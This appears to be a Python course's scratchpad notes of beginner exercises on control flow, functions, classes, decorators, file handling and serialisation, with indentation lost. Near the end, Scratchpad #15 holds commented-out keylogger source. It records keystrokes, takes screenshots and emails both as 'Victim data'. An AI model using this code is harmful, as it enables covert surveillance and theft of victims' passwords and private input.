Python Sunday 16/04/2023
Scratchpad #3
# # # # # # print("Please enter your full name")
# # # # # name = input("Please enter your full name: ")
# # # # # print(type(name))
# # # # # score = 110
# # # # # print(110)
# # # # name = input("Enter your first name: ")
# # # # if name == 'john':
# # # # print("Hello john")
# # # # print("-----")
# # # # elif name == "jane":
# # # # print("Hello jane")
# # # # elif name == 'jack':
# # # # print("Hello jack")
# # # # else:
# # # # print("I don't know you")
# # # logged_in_user = None
# # # if logged_in_user:
# # # print("Welcome to your dashboard")
# # # else:
# # # print("Please login to view content")
# # # password = input("Please type in a password: ")
# # # if len(password) < 10:
# # # print("Sorry, password has to be longer than 10 chars")
# # # age = int(input("Please enter your age: "))
# # # if age >= 65:
# # # print("Drinks are free")
# # # elif age >= 21:
# # # print("You can enter and you can drink")
# # # elif age >= 18:
# # # print("You can enter but can't drink")
# # # else:
# # # print("You are not allowed to enter")
# # age = int(input("Please enter your age: "))
# # if age >= 18 and age < 21:
# # print("You can enter but can't drink")
# # elif age >= 21 and age < 65:
# # print("You can enter and you can drink")
# # elif age >= 65:
# # print("Drinks are free")
# # else:
# # print("You are not allowed to enter")
# age = input("Please enter your age: ")
# if age:
# age = int(age)
# if age >= 18 and age < 21:
# print("You can enter but can't drink")
# elif age >= 21 and age < 65:
# print("You can enter and you can drink")
# elif age >= 65:
# print("Drinks are free")
# else:
# print("You are not allowed to enter")
# else:
# print("Please enter a value.")
# # -----------------------------------------------
# player1 = input("Enter player 1's choice: ")
# player2 = input("Enter player 2's choice: ")
# if ((player1 == "rock" and player2 == "scissors")
# or (player1 == "paper" and player2 == "rock")
# or (player1 == "scissors" and player2 == "paper")):
# print("Player 1 wins")
# elif ((player2 == "rock" and player1 == "scissors")
# or (player2 == "paper" and player1 == "rock")
# or (player2 == "scissors" and player1 == "paper")):
# print("Player 2 wins")
# elif player1 == player2:
# print("Draw")
# else:
# print("Something went wrong")
# # if player1 == "rock":
# # if player2 == "scissors":
# # print("Player 1 wins")
# # elif player2 == "paper":
Scratchpad #4
# for num1 in range(10):
# for num2 in range(5):
# if num2 % 2 == 0:
# print(num1, num2)
# password = input("Please enter your password: ")
# while password != "helloworld":
# print("Incorrect password. Please try again.")
# password = input("Please enter your password: ")
# print("Welcome")
# for num in range(10):
# print(num)
# count = 0
# while count < 10:
# print(count)
# count += 1 # count = count + 1
# password = input("Please enter your password: ")
# while True:
# if password == "helloworld":
# break
# print("Incorrect password. Please try again.")
# password = input("Please enter your password: ")
# print("Welcome")
# for num in range(10):
# if num == 5:
# break
# print(num)
# password = input("Please enter your password: ")
# while True:
# if password == "helloworld":
# break
# if password == "quit":
# break
# print("Incorrect password. Please try again.")
# password = input("Please enter your password: ")
# while True:
# player1 = input("Enter player 1's choice: ")
# player2 = input("Enter player 2's choice: ")
# if ((player1 == "rock" and player2 == "scissors")
# or (player1 == "paper" and player2 == "rock")
# or (player1 == "scissors" and player2 == "paper")):
# print("Player 1 wins")
# elif ((player2 == "rock" and player1 == "scissors")
# or (player2 == "paper" and player1 == "rock")
# or (player2 == "scissors" and player1 == "paper")):
# print("Player 2 wins")
# elif player1 == player2:
# print("Draw")
# else:
# print("Something went wrong")
# play_again = input("Do you want to play again (y/n): ")
# if play_again.lower() != 'y':
# break
# all_tasks = ""
# while True:
# task = input("Please enter a task: ")
# if task == "done":
# break
# all_tasks += f"{task}||"
# print(all_tasks)
# langs = ["Python", "JavaScript", "Rust", "Elm", "WASM"]
# user_input = "Python"
# if user_input in langs:
# print("That's an amazing language. Please use it: ")
# else:
# print("Yeh kachra language hai. Tu eek soy developer hai.")
# a = 20
# b = 32
# print(a == b)
# if a == b:
# print(True)
# else:
# print(False)
nums = [1, 2, 3, 4, 5, 6]
for num in nums:
print(num)
count = 0
while count < len(nums):
print(nums[count])
count += 1 # count = count + 1
Scratchpad #5
# # for i in range(10):
# # print(f"this is the value of i - {i}")
# nums = [1, 2, 3, 4, 5, 6, 7]
# doubles = [num * 2 for num in nums]
# # doubles = []
# # for num in nums:
# # doubles.append(num * 2)
# print(doubles)
# names = ["john", "jane", "jack", "jill"]
# upper_names = [name.upper() for name in names]
# # upper_names = []
# # for name in names:
# # upper_names.append(name.upper())
# print(upper_names)
nums = [[[1, 29, 3], [1, 29, 3], [1, 29, 3]],
[[1, 29, 3], [1, 29, 3], [1, 29, 3]],
[[1, 29, 3], [1, 29, 3], [1, 29, 3]],
[[1, 29, 3], [1, 29, 3], [1, 29, 3]]]
# total everything
# total the even numbers and odd numbers # evens = 0, odds = 0
total = 0
for lst in nums: # outer
for num in lst: # inner
total += num
print(total)
Scratchpad #6
# product = [
# "iPhone 14", "Apple", "Some description...", 400, 100000, True,
# "https://some_url.com/picture"
# ]
product = {
"description": "Some description...",
"price": 100000,
"name": "iPhone 14",
"in_stock": 400,
"brand": "Apple",
"discounted": True,
"image_url": "....",
"image_url": "asdasdasd",
}
for item in product.values():
print(item)
# "Some description..."
# 100000
#
Scratchpad #7
# def greet():
# print("Hello World")
# print("Goodbye World")
# greet()
# greet()
# greet()
# greet()
# greet()
# from random import randint, random
# def flip_coin():
# num = random()
# if num > 0.5:
# print("HEADS")
# else:
# print("TAILS")
# flip_coin()
# def gen_random_num():
# print(randint(1, 10))
# def gen_random_nums():
# gen_random_num()
# gen_random_num()
# gen_random_num()
# gen_random_nums()
# from random import randint, random
# def flip_coin():
# num = random()
# if num > 0.5:
# return "HEADS"
# return "TAILS"
# # print(flip_coin())
# result = flip_coin()
# print(result)
# result = type(100)
# print(result)
# def greet(name, message):
# return f"{message}, {name}"
# print(greet("Jane", "Hello"))
# print(greet("Hi", "Jill"))
# print(greet("Jack", "Hey"))
# def sum_odd_numbers(numbers):
# total = 0
# for num in numbers:
# if num % 2 == 1:
# total += num
# return total
# print(sum_odd_numbers([1, 2, 3, 4, 5]))
# def add(a=0, b=0):
# return a + b
# print(add(20, 10))
# def add(a, b):
# return a + b
# def sub(a, b):
# return a - b
# def math(a, b, fn=sub):
# return fn(a, b)
# print(math(10, 5, add))
# # hello_world = add
# # print(add(10, 2))
# # print(hello_world(10, 2))
# def print_profile(first_name, last_name, age=0):
# print(
# f"Hello, my name is {first_name} {last_name} and I am {age} years old."
# )
# print_profile(age=20, first_name="John", last_name="Doe")
# full_name = "John Doe"
# def greet():
# full_name = "Jane Smith"
# print(full_name)
# print(full_name)
# greet()
total = 0
def func():
global total
total += 5
# print(total)
func()
print(total)
Scratchpad #8
# total = 0 # global scope
# def greet():
# global total
# total += 1 # local scope
# greet()
# print(total)
# def outer():
# total = 0
# def inner():
# nonlocal total
# total += 1
# print(total)
# inner()
# outer()
# def add(a, b):
# """Function that accepts two numbers and add them
# @param a: int | float
# @param b: int | float
# """
# return a + b
# # print(add(10, 5))
# # print(add.__doc__)
# help(add)
# print(print.__doc__)
# def add(a, b, c, *nums):
# print(a)
# print(b)
# print(c)
# print(nums)
# total = 0
# for num in nums:
# total += num
# return total
# print(nums)
# return a + b
# add(10, 20, 30, 40, 50, 60, 70, 80, 90, 100)
# print(add(10, 20))
# print()
# def add(*nums):
# total = 0
# for num in nums:
# total += num
# return total
# nums = input("Please enter multiple numbers (separated by spaces): ")
# lstrs = nums.split(" ")
# lnums = [int(item) for item in lstrs]
# # print(lnums)
# print(add(*lnums))
# def profile(**data):
# print(
# f"Hello my name is {data['first_name']} {data['last_name']} and I am {data['age']} years old."
# )
# profile(first_name="Jane", last_name="Doe", age=20)
# def profile(a, b, *args, role="moderator", **kwargs):
# print(a)
# print(b)
# print(args)
# print(role)
# print(kwargs)
# profile(10, 20, 30, 40, 50, first_name="John", last_name="Doe", role="admin")
# def add(*nums):
# total = 0
# for num in nums:
# total += num
# return total
# data = [10, 20, 30, 40, 50]
# print(add(*data))
# def say_name(first, last):
# print(f"My name is {first} {last}")
# data = {"first": "Jack", "last": "Smith"}
# say_name(**data) # say_name(first="jack", last="smith")
# def greet(name, message):
# return f"{message}, {name}"
# # print(greet("Jane", "Hello"))
# hello_world = greet
# print(hello_world("John Doe", "Hi"))
# def add(a, b):
# return a + b
# def sub(a, b):
# return a - b
# math = [add, sub]
# print(math[0](10, 4))
# math = {"add": add, "sub": sub}
# print(math["add"](10, 5))
# def add(a, b):
# return a + b
# mul = lambda a, b: a * b
# print(mul(10, 5))
# def add(a, b):
# return a + b
# def sub(a, b):
# return a - b
# def math(x, y, fn):
# return fn(x, y)
# print(math(10, 5, lambda a, b: a / b))
nums = [1, 2, 3, 4, 5, 6, 7, 8]
result2 = map(lambda num: num * 3, nums)
# print(list(result2))
result1 = filter(lambda num: num % 2 == 0, result2)
print(list(result1))
# even_doubles = map(lambda num: num * 2, filter(lambda num: num % 2 == 0, nums))
# print(list(even_doubles))
# evens = filter(lambda num: num % 2 == 0, nums)
# evens = [num for num in nums if num % 2 == 0]
# print(list(evens))
# doubles = map(lambda num: num * 2, nums)
# # doubles = [num * 2 for num in nums]
# print(list(doubles))
# print(tuple(doubles))
# for num in doubles:
# print(num)
Scratchpad #9
import random
# from pprint import pprint
SUIT_TUPLE = ("Spades", "Hearts", "Clubs", "Diamonds")
RANK_TUPLE = ("Ace", "2", "3", "4", "5", "6", "7", "8", "9", "10", "Jack",
"Queen", "King")
NCARDS = 8
def get_card(deck_list_in):
this_card = deck_list_in.pop()
return this_card
def shuffle(deck_list_in):
deck_list_out = deck_list_in.copy()
random.shuffle(deck_list_out)
return deck_list_out
print("Welcome to higher or lower!")
print(
"You have to choose whether the next card to be shown will be higher or lower than the current card."
)
print(
"Getting it right adds 20 points; get it wrong and you will lose 15 points"
)
print("You have 50 points to start")
print()
starting_deck_list = []
for suit in SUIT_TUPLE:
for this_value, rank in enumerate(RANK_TUPLE):
card_dict = {"rank": rank, "suit": suit, "value": this_value + 1}
starting_deck_list.append(card_dict)
score = 50
while True:
game_deck_list = shuffle(starting_deck_list)
current_card_dict = get_card(game_deck_list)
current_card_rank = current_card_dict["rank"]
current_card_suit = current_card_dict["suit"]
current_card_value = current_card_dict["value"]
print(f"Starting card is {current_card_rank} of {current_card_suit}")
print()
for card_number in range(0, NCARDS):
answer = input(
f"Will the next card be higher or lower than the {current_card_rank} of {current_card_suit}? (enter h or l): "
)
answer = answer.lower()
next_card_dict = get_card(game_deck_list)
next_card_rank = next_card_dict["rank"]
next_card_suit = next_card_dict["suit"]
next_card_value = next_card_dict["value"]
print(f"Next card is {next_card_rank} of {next_card_suit}")
if answer == 'h':
if next_card_value > current_card_value:
print("You got it right, it was higher")
score += 20
else:
print("Sorry, it was not higher")
score -= 15
elif answer == 'l':
if next_card_value < current_card_value:
print("You got it right, it was lower")
score += 20
else:
print("Sorry it was not lower")
score -= 15
print(f"Your score is: {score}")
print()
current_card_rank = next_card_rank
current_card_suit = next_card_suit
current_card_value = next_card_value
go_again = input("To play again, press ENTER, or 'q' to quit: ")
if go_again == 'q':
break
print("Thank you for playing.")
Scratchpad #10
# def colorize(text, color):
# colors = ('red', 'yellow', 'green', 'blue', 'cyan', 'magenta', 'white')
# if type(text) is not str or type(color) is not str:
# # raise TypeError("text and color should be strings")
# raise Exception("This is some error.")
# if color not in colors:
# # print(f"Sorry, color {color} is not supported")
# raise ValueError(f"Sorry, color {color} is not supported")
# return f"{text} in {color}"
# try:
# color = input("Please enter a supported color: ")
# result = colorize("Hello World", color)
# except:
# print("Color is not supported")
# else:
# print("RESULT:", result)
# finally:
# print("THIS ALWAYS RUNS NO MATTER SUCCESS OR FAILURE")
# # print("This is going to print after colorize successfully runs")
# # def add(a, b):
# # print(a + b)
# # while True:
# # num1 = input("Please enter a number: ")
# # num2 = input("Please enter another number: ")
# # if num1 == 'q' or num2 == 'q':
# # break
# # try:
# # num1 = int(num1)
# # num2 = int(num2)
# # add(num1, num2)
# # except Exception as err:
# # print(err)
# # print("Sorry, num1 and num2 have to be numbers")
# # except (ValueError, TypeError) as err:
# # print(err)
# # print("Sorry, num1 and num2 have to be numbers")
# # except ValueError as err:
# # print("Sorry, num1 and num2 have to be numbers")
# import random as r
def random():
print("Something")
# print(r.randint(10, 20))
# print(r.random())
from random import randint, random as r, choice, shuffle
# from random import *
print(randint(10, 20))
print(r())
print(choice(["Ryzen 7", "Ryzen 9", "Core i7", "Core i9"]))
print(shuffle(["Ryzen 7", "Ryzen 9", "Core i7", "Core i9"]))
Scratchpad #11
# def user(first_name, last_name, email, phone, password):
# def greet():
# print("Hello World")
# def login(u, passwd):
# if passwd == u["password"]:
# print("You are now logged in")
# return True
# print("Sorry, incorrect Details")
# return False
# return {
# "first_name": first_name,
# "last_name": last_name,
# "email": email,
# "phone": phone,
# "password": password,
# "greet": greet,
# "login": login
# }
# class User:
# def __init__(self, first_name, last_name, email, phone, password):
# self.first_name = first_name
# self.last_name = last_name
# self.email = email
# self.phone = phone
# self.password = password
# def greet(self):
# print("Hello World")
# def login(self, passwd):
# if passwd == self.password:
# print("You are now logged in")
# return True
# print("Sorry, incorrect Details")
# return False
# john = user("John", "Doe", "john@gmail.com", "+91 9882235678", "testpass")
# jane = User("Jane", "Smith", "jane@gmail.com", "+91 9876654321", "somepass")
# print(john["last_name"])
# print(jane.last_name)
# print(john["email"])
# print(jane.email)
# john["greet"]()
# jane.greet()
# john["login"](john, "testpass")
# jane.login("somepass")
# # print(john["last_name"])
# # print(john["email"])
# # john["greet"]()
# # john["login"](john, "testpass")
class User:
def __init__(self, first_name, last_name, age):
self.first_name = first_name
self.last_name = last_name
self._age = age
self.city = "mumbai"
self.__email = "test"
def get_age(self):
return self._age
def set_age(self, new_age):
if new_age < 18 or new_age >= 90:
raise ValueError("Invalid age")
self._age = new_age
john = User("John", "Doe", 20)
jane = User("Jane", "Doe", 30)
print(john._User__email)
# john._age = 30
# print(john._age)
# john._age = -24000
# # john.set_age(400)
# print(john.get_age())
# jane.last_name = "Roe"
# print(john.first_name)
# print(jane.last_name)
# # print(type(john))
Scratchpad #12
# # class User:
# # country = "India"
# # total_users = 0
# # active_users = 0
# # # constructor
# # def __init__(self, first_name, last_name, age, email, phone):
# # self.first_name = first_name
# # self.last_name = last_name
# # self.age = age
# # self.email = email
# # self.phone = phone
# # self.city = "Mumbai"
# # User.total_users += 1
# # def print_data(self):
# # print(
# # f"First Name: {self.first_name}\nLastName: {self.last_name}\nAge: {self.age}"
# # )
# # def change_city(self, new_city):
# # self.city = new_city
# # return True
# # def login(self):
# # User.active_users += 1
# # def logout(self):
# # User.active_users -= 1
# # a = 10
# # john = User('John', 'Doe', 20, 'john@gmail.com', '+91 1234567890')
# # jane = User('Jane', 'Doe', 22, 'jane@gmail.com', '+91 1232134738')
# # john.login()
# # jane.login()
# # jane.logout()
# # # print(john.country)
# # # print(jane.country)
# # # print(User.country)
# # print(User.active_users)
# # # user2.print_data()
# # # print(user2.city)
# # # user2.change_city('Pune')
# # # print(user2.city)
# # # print(john.last_name)
# # # print(user2.last_name)
# # # print(user1.first_name)
# # # print(user1.city)
# # # print(user1.__dict__)
# # total_users = 0
# # active_users = 0
# # def make_user(first_name, last_name, age, email):
# # global total_users
# # total_users += 1
# # return {
# # "first_name": first_name,
# # "last_name": last_name,
# # "age": age,
# # "email": email,
# # "city": "Mumbai"
# # }
# # def login(user):
# # print(f"{user['first_name']} {user['last_name']} has just logged in.")
# # global active_users
# # active_users += 1
# # john = make_user("John", "Doe", 20, "john@gmail.com")
# # jane = make_user("Jane", "Smith", 30, "jane@outlook.com")
# # print(john)
# # print(jane)
# # login(john)
# # print(total_users)
# # print(active_users)
# import random
# # class User:
# # country = "India"
# # total_users = 0
# # active_users = 0
# # # constructor
# # def __init__(self, first_name, last_name, age, email, phone):
# # self.first_name = first_name
# # self.last_name = last_name
# # self.age = age
# # self.email = email
# # self.phone = phone
# # self.city = "Mumbai"
# # self.password = User.generate_password(12)
# # User.total_users += 1
# # def __repr__(self):
# # return self.first_name + " " + self.last_name
# # @classmethod
# # def generate_password(cls, pass_length=8):
# # password = ""
# # chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()"
# # for _ in range(pass_length):
# # password += random.choice(chars)
# # return password
# # @classmethod
# # def get_total_users(cls):
# # return cls.total_users
# # def print_data(self):
# # print(
# # f"First Name: {self.first_name}\nLastName: {self.last_name}\nAge: {self.age}"
# # )
# # def change_city(self, new_city):
# # self.city = new_city
# # return True
# # def login(self):
# # User.active_users += 1
# # def logout(self):
# # User.active_users -= 1
# # john = User('John', 'Doe', 20, 'john@gmail.com', '+91 1234567890')
# # jane = User('Jane', 'Doe', 22, 'jane@gmail.com', '+91 1232134738')
# # print(john.email)
# # print(jane)
# # # print(User.get_total_users())
# # # print(User.generate_password(20))
# # # print(john.__dict__)
# # # print(jane.__dict__)
# # class User:
# # def __init__(self, name, email):
# # self.name = name
# # self.email = email
# # def __repr__(self):
# # return self.email
# # def login(self):
# # print(f"{self.email} just logged in")
# # return True
# # def logout(self):
# # print(f"{self.email} has logged out")
# # return True
# # class Admin(User):
# # def __repr__(self):
# # return self.email + " [ADMIN]"
# # def create_group(self, group_name):
# # print(f"{group_name} was created {self.first_name} {self.last_name}")
# # return True
# # john = User('John Doe', 'john@gmail.com')
# # jane = Admin('Jane Smith', 'jane@outlook.com')
# # print(john)
# # print(jane)
# # jane.create_group('Python Devs')
# # john.create_group('')
# # class User:
# # def __init__(self, first_name, last_name, age, email):
# # self.first_name = first_name
# # self.last_name = last_name
# # self._age = age
# # self.email = email
# # @property
# # def age(self):
# # return self._age
# # @age.setter
# # def age(self, new_age):
# # if new_age < 18 or new_age > 80:
# # raise ValueError("Please enter a valid age")
# # self._age = new_age
# # return self._age
# # def get_age(self):
# # return self._age
# # def set_age(self, new_age):
# # if new_age < 18 or new_age > 80:
# # raise ValueError("Please enter a valid age")
# # self._age = new_age
# # return self._age
# # class Admin(User):
# # def __init__(self, first_name, last_name, age, email, phone):
# # super().__init__(first_name, last_name, age, email)
# # self.phone = phone
# # def __repr__(self):
# # return self.email + " [ADMIN]"
# # def create_group(self, group_name):
# # print(f"{group_name} was created {self.first_name} {self.last_name}")
# # return True
# # john = User('John', 'Doe', 20, 'john@gmail.com')
# # # john.age = 3000000
# # # print(john.age)
# # jane = Admin('Jane', 'Smith', 30, 'jane@gmail.com', '+91 1234567890')
# # print(jane.phone)
# # # john._age = 3032042
# # # print(john._age)
# # # john.set_age(300000)
# # # print(john.get_age())
# class Human:
# def __init__(self, name, age):
# self.name = name
# self.age = age
# def greet(self):
# print("Hello World")
# class Animal:
# def __init__(self, name, age):
# self.name = name
# self.age = age
# def greet(self):
# print("jasndfjksadnflasdfjn")
# class Mutant(Human, Animal):
# pass
# john = Human("John Doe", 20)
# horse = Animal("Michael", 5)
# joe = Mutant('John Horse', 25)
# joe.greet()
# Bank
# name: str, initials: str, address: str, phone: [str],
# ifsc: str, email: str, branch: str, customers: [Customer]
# ----
# create_customer(first_name, middle_name, ...) -> Customer
# cus = Customer(first_name, middle_name, ...)
# self.customers.append(cus)
# return cus
# remove_customer()
# find_customer() -> Customer
# filter_customers() -> [Customer]
# edit_bank_details()
# Customer
# first_name: str, middle_name: str, last_name: str, email: str, phone: str
# address: str, pan_no: str, aadhar_no: str, customer_id: str, account_no: str,
# balance: float, bank_name: Bank
# ----
# deposit()
# withdraw()
# edit_details()
# check_balance()
# get_details()
sbi = Bank("", "")
john = sbi.create_customer("", "", "")
Scratchpad #13
# # # class User:
# # # def __init__(self, first_name, last_name, age):
# # # self.first_name = first_name
# # # self.last_name = last_name
# # # self.age = age
# # # def greet(self):
# # # return "Hello World"
# # # def __len__(self):
# # # return self.age
# # # def __lt__(self, user):
# # # return self.age < user.age
# # # class Admin(User):
# # # def greet(self):
# # # return "Hello Universe"
# # # john = User("John", "Doe", 20)
# # # jane = Admin("Jane", "Smith", 19)
# # # print(john.greet())
# # # print(jane.greet())
# # # print(len("hello"))
# # # print(len([1, 2, 3, 4]))
# # # print(len(jane))
# # # print(john < jane)
# # # a = "hello world"
# # # for char = next(ia) in ia = iter(a):
# # # print(char)
# # # for char in a:
# # # print(char)
# # # def my_map(func, iterable):
# # # iterator = iter(iterable)
# # # while True:
# # # try:
# # # i = next(iterator)
# # # except StopIteration:
# # # break
# # # else:
# # # func(i)
# # # # for num in [1, 2, 3, 4, 5]:
# # # # print(num)
# # # my_map(lambda num: print(num), [1, 2, 3, 4, 5])
# # # r = range(10000000000000000000000000000000)
# # # l = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
# # # l[3]
# # class Counter:
# # def __init__(self, start, end, step=1):
# # self.start = start
# # self.end = end
# # self.step = step
# # def __repr__(self):
# # return f"Counter({self.start}, {self.end})"
# # def __iter__(self):
# # return self
# # def __next__(self):
# # if self.start < self.end:
# # num = self.start
# # self.start += self.step
# # return num
# # else:
# # raise StopIteration
# # # r = range(0, 10)
# # # c = Counter(0, 10, 2)
# # # # print(r)
# # # # print(c)
# # # for num in c:
# # # print(num)
# # class User:
# # def __init__(self, first_name, last_name, age):
# # self.first_name = first_name
# # self.last_name = last_name
# # self.age = age
# # def __repr__(self):
# # return self.first_name
# # def __add__(self, new_user):
# # return User("new born", "user", 0)
# # john = User("John", "Doe", 20)
# # jane = User("Jane", "Doe", 25)
# # print(john)
# # print(jane)
# # print(john + jane)
# # def counter(start, end):
# # while start < end:
# # yield start
# # start += 1
# # # print(counter(0, 10))
# # for num in counter(0, 10):
# # print(num)
# # def fib_list(max):
# # nums = []
# # a, b = 0, 1
# # while len(nums) < max:
# # nums.append(a)
# # a, b = b, a + b
# # return nums
# # for num in fib_list(100000000000000):
# # print(num)
# # def fib_gen(max):
# # a, b = 0, 1
# # count = 0
# # while count < max:
# # a, b = b, a + b
# # yield a
# # count += 1
# # # print(fib_gen(100000000000000))
# # for num in fib_gen(10000000000):
# # print(num)
# import time
# gen_start_time = time.time() # now
# print(sum(num for num in range(100000000)))
# gen_stop = time.time() - gen_start_time
# list_start_time = time.time() # now
# print(sum([num for num in range(100000000)]))
# list_stop = time.time() - list_start_time
# print(f"Generator took: {gen_stop}")
# print(f"List comp took: {list_stop}")
# def math(a, b, fn):
# return fn(a, b)
# def add(a, b):
# return a + b
# print(math(10, 5, add))
import random
# def greet(person):
# def get_mood():
# mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"]
# msg = random.choice(mood)
# return msg
# result = f"{get_mood()} {person}"
# return result
# print(greet("john"))
# def make_greet_func(person):
# def make_message():
# mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"]
# msg = random.choice(mood)
# return f"{msg} {person}"
# return make_message
# test = make_greet_func("john")
# test2 = make_greet_func("jane")
# print(test())
# print(test2())
def stars(fn):
def wrapper(*args, **kwargs):
print("*" * 20)
fn(*args, **kwargs)
print("*" * 20)
return wrapper
@stars # hello = stars(hello)
def hello(person):
print(f"Hello {person}")
@stars # goodbye = stars(goodbye)
def goodbye(person, message):
print(f"{message} {person}")
# hello = stars(hello) # decorated hello with stars
# goodbye = stars(goodbye) # decorated goodbye with stars
hello("john")
goodbye("good bye", "jane")
# @classname # something = classname(something)
# def something(cls):
# return
Scratchpad #14
# file = open("hello.txt")
# print(file.read())
# file.close()
# print(file.closed)
# with open("hello.txt", "r") as file:
# print(file.read())
# print(file.closed)
# with open("hello2.txt", "w") as file:
# file.write("Hello, this is the first line\n")
# file.write("This is another line\n")
# file.write("*" * 100)
# with open("hello.txt", "a") as file:
# file.write("This is one line that is something\n")
# with open("hello.txt", "r+") as file:
# print(file.read())
# file.seek(0)
# file.write("THIS IS SOME TEXTTTTTT>>>>")
# with open("hello.txt") as file:
# data = file.read()
# data = data.replace("something", "OTHER THING")
# with open("hello.txt", "w") as file:
# file.write(data)
# with open("scratchpad_12.py") as file:
# print(file.read())
from pprint import pprint
# with open("hello.csv") as file:
# data = file.read()
# data = data.split("\n")
# data = [row.split(",") for row in data]
# data.pop()
# pprint(data)
from csv import reader, DictReader, writer, DictWriter
# with open("hello.csv") as file:
# csv_reader = reader(file)
# pprint(list(csv_reader))
# with open("hello.csv") as file:
# csv_reader = DictReader(file)
# pprint(list(csv_reader))
# with open("hello.csv", "a", newline="") as file:
# csv_writer = writer(file)
# csv_writer.writerow(["Test", "User", 45, "testuser@gmail.com"])
# csv_writer.writerow(["Test", "User", 45, "testuser@gmail.com"])
# csv_writer.writerow(["Test", "User", 45, "testuser@gmail.com"])
# csv_writer.writerow(["Test", "User", 45, "testuser@gmail.com"])
# with open("hello.csv", "w", newline="") as file:
# headers = ["first_name", "last_name", "age", "email"]
# csv_writer = DictWriter(file, fieldnames=headers)
# csv_writer.writeheader()
# csv_writer.writerow({
# "first_name": "Jane",
# "last_name": "Doe",
# "age": 30,
# "email": "janedoe@gmail.com",
# })
# csv_writer.writerow({
# "first_name": "Jane",
# "last_name": "Doe",
# "age": 30,
# "email": "janedoe@gmail.com",
# })
# pep8, black, yapf
import pickle, json
import jsonpickle
class User:
def __init__(self, first_name, last_name, age):
self.first_name = first_name
self.last_name = last_name
self.age = age
def __repr__(self):
return self.first_name + " " + self.last_name
def greet(self):
return "Hello World"
# john = User("John", "Doe", 20)
# jane = User("Jane", "Smith", 30)
# print(john.greet())
# with open("hello.txt", "w") as file:
# file.write(john)
# with open("users.pickle", "wb") as file:
# pickle.dump((jane, john), file)
# with open("users.pickle", "rb") as file:
# restored_data = pickle.load(file)
# print(restored_data[0].greet())
# print(json.dumps([{"hello": "world", "test": True, "another": None}]))
# print(json.dumps(john))
# print(john.__dict__)
# print(json.dumps(john.__dict__))
# with open("users_new.json", "w") as file:
# stored = jsonpickle.encode((john, jane))
# file.write(stored)
with open("users_new.json", "r") as file:
contents = file.read()
restored_data = jsonpickle.decode(contents)
print(restored_data[0].greet())
Employee-Company
import uuid
import datetime
class Company:
def __init__(self, name, address, phone_nos, email,
company_registration_code):
self.name = name
self.address = address
self.phone_nos = phone_nos
self.email = email
self.company_registration_code = company_registration_code
self.employees = []
def __repr__(self):
return self.name
def create_employee(self, first_name, middle_name, last_name, address,
aadhar_card_no, pan_card_no, phone, email):
if not all([
first_name, middle_name, last_name, address, aadhar_card_no,
pan_card_no, phone, email
]):
raise ValueError("All fields are required to create an employee")
new_employee = Employee(first_name, middle_name, last_name, address,
aadhar_card_no, pan_card_no, phone, email)
self.employees.append(new_employee)
return new_employee
def find_employee(self, employee_id):
for employee in self.employees:
if employee.employee_id == employee_id:
return employee
raise ValueError("Employee not found")
def filter_employees(self, name):
filtered = [
employee for employee in self.employees
if name in employee.get_full_name()
]
if not filtered:
raise ValueError("No employee found with this name.")
return filtered
def delete_employee(self, employee_id):
self.employees = [
employee for employee in self.employees
if employee.employee_id != employee_id
]
class Employee:
def __init__(self, first_name, middle_name, last_name, address,
aadhar_card_no, pan_card_no, phone, email):
self.first_name = first_name
self.middle_name = middle_name
self.last_name = last_name
self.address = address
self.aadhar_card_no = aadhar_card_no
self.pan_card_no = pan_card_no
self.phone = phone
self.email = email
self.employee_id = str(uuid.uuid4())
self.attendance = []
def __repr__(self):
return self.first_name + " " + self.middle_name + " " + self.last_name
def get_full_name(self):
return f"{self.first_name} {self.middle_name} {self.last_name}"
def get_details(self):
return {
"first_name": self.first_name,
"middle_name": self.middle_name,
"last_name": self.last_name,
"address": self.address,
"aadhar_card_no": self.aadhar_card_no,
"pan_card_no": self.pan_card_no,
"email": self.email,
"phone": self.phone,
"employee_id": self.employee_id
}
def edit_details(self,
first_name=None,
middle_name=None,
last_name=None,
address=None,
phone=None,
email=None,
aadhar_card_no=None,
pan_card_no=None):
if first_name:
self.first_name = first_name
if middle_name:
self.middle_name = middle_name
if last_name:
self.last_name = last_name
if address:
self.address = address
if phone:
self.phone = phone
if email:
self.email = email
if aadhar_card_no:
self.aadhar_card_no = aadhar_card_no
if pan_card_no:
self.pan_card_no = pan_card_no
def punch_in(self):
self.attendance.append({'date': datetime.now(), 'punch': 'in'})
def punch_out(self):
self.attendance.append({'date': datetime.now(), 'punch': 'out'})
Scratchpad #15
# from pynput.keyboard import Key, Listener
# import pyautogui
# from time import sleep
# import yagmail
# from datetime import datetime
# count = 0
# keys = []
# try:
# def on_press(key):
# global count, keys
# keys.append(key)
# count += 1
# if count >= 10:
# write_file(keys)
# keys = []
# def write_file(keys):
# with open("log.txt", "a") as f:
# for key in keys:
# k = str(key).replace("'", "")
# if k.find("space") > 0:
# f.write(" ")
# elif k.find("cap_lock") > 0:
# f.write("<CAP_LOCK>")
# elif k.find("enter") > 0:
# f.write("\n")
# elif k.find("Key") == -1:
# f.write(k)
# def on_release(key):
# if key == Key.esc:
# return False
# def take_screenshot():
# screen = pyautogui.screenshot()
# screen.save("screenshot.png")
# def send_email():
# receiver_email = ""
# subject = f"Victim data - {datetime.now().strftime('%d-%m-%Y :: %H:%M:%S')}"
# yag = yagmail.SMTP("", "")
# contents = ["<b><font color='red'>Your VICTIM data</font></b>"]
# attachments=['log.txt', 'screenshot.png']
# yag.send(receiver_email, subject, contents, attachments)
# print("Email sent")
# with Listener(on_press=on_press, on_release=on_release) as listener:
# while True:
# sleep(20)
# take_screenshot()
# send_email()
# listener.join()
# except KeyboardInterrupt:
# print("Program Closed")
# from datetime import datetime
# import threading
# import multiprocessing
# def dummy_func(x):
# print(f"Job-{x} started: {datetime.now()}")
# a = []
# for i in range(40000):
# for j in range(2000):
# a.append([i, j])
# a.clear()
# print(f"Job-{x} ended: {datetime.now()}")
# # start_time = datetime.now()
# # dummy_func(1)
# # dummy_func(2)
# # dummy_func(3)
# # dummy_func(4)
# # print(f"Total time taken: {datetime.now() - start_time}")
# if __name__ == "__main__":
# # t1 = threading.Thread(target=dummy_func, args=(1,))
# # t2 = threading.Thread(target=dummy_func, args=(2,))
# # t3 = threading.Thread(target=dummy_func, args=(3,))
# # t4 = threading.Thread(target=dummy_func, args=(4,))
